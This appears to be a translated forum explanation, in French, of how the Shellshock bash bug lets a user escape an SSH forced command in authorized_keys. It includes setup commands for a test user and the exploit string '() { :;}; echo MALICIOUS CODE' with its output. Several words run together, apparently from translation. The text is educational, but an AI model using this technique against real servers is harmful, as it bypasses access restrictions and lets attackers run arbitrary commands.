Un exemple où ceci peut être exploité est sur des serveurs avec une authorized_keyscommande forcée. Lors de l'ajout d'une entrée à ~/.ssh/authorized_keys, vous pouvez préfixer la ligne avec command="foo"pour forcer fool'exécution à chaque fois que la clé publique ssh est utilisée. Avec cet exploit, si le shell de l'utilisateur cible est défini sur bash, ceux-ci peuvent en tirer parti pour exécuter des opérations autres que la commande à laquelle ils sont obligés.
Cela aurait probablement plus de sens dans l'exemple, alors voici un exemple:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Ici, nous configurons un utilisateur testuser, qui force toutes les connexions SSH utilisant votre clé SSH à s'exécuter echo starting sleep; sleep 1.
Nous pouvons tester cela avec:
$ ssh testuser@localhost echo something else
starting sleep
Notez que notre commande ne s'exécute echo something elsepas, mais qu'elle starting sleepindique que la commande forcée a été exécutée.
Voyons maintenant comment cet exploit peut être utilisé:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Cela fonctionne car sshddéfinit la SSH_ORIGINAL_COMMANDvariable d'environnement sur la commande transmise. Ainsi, même s’il a été sshdexécuté sleep, et non la commande à laquelle je l’ai dit, à cause de l’exploit, mon code est toujours exécuté.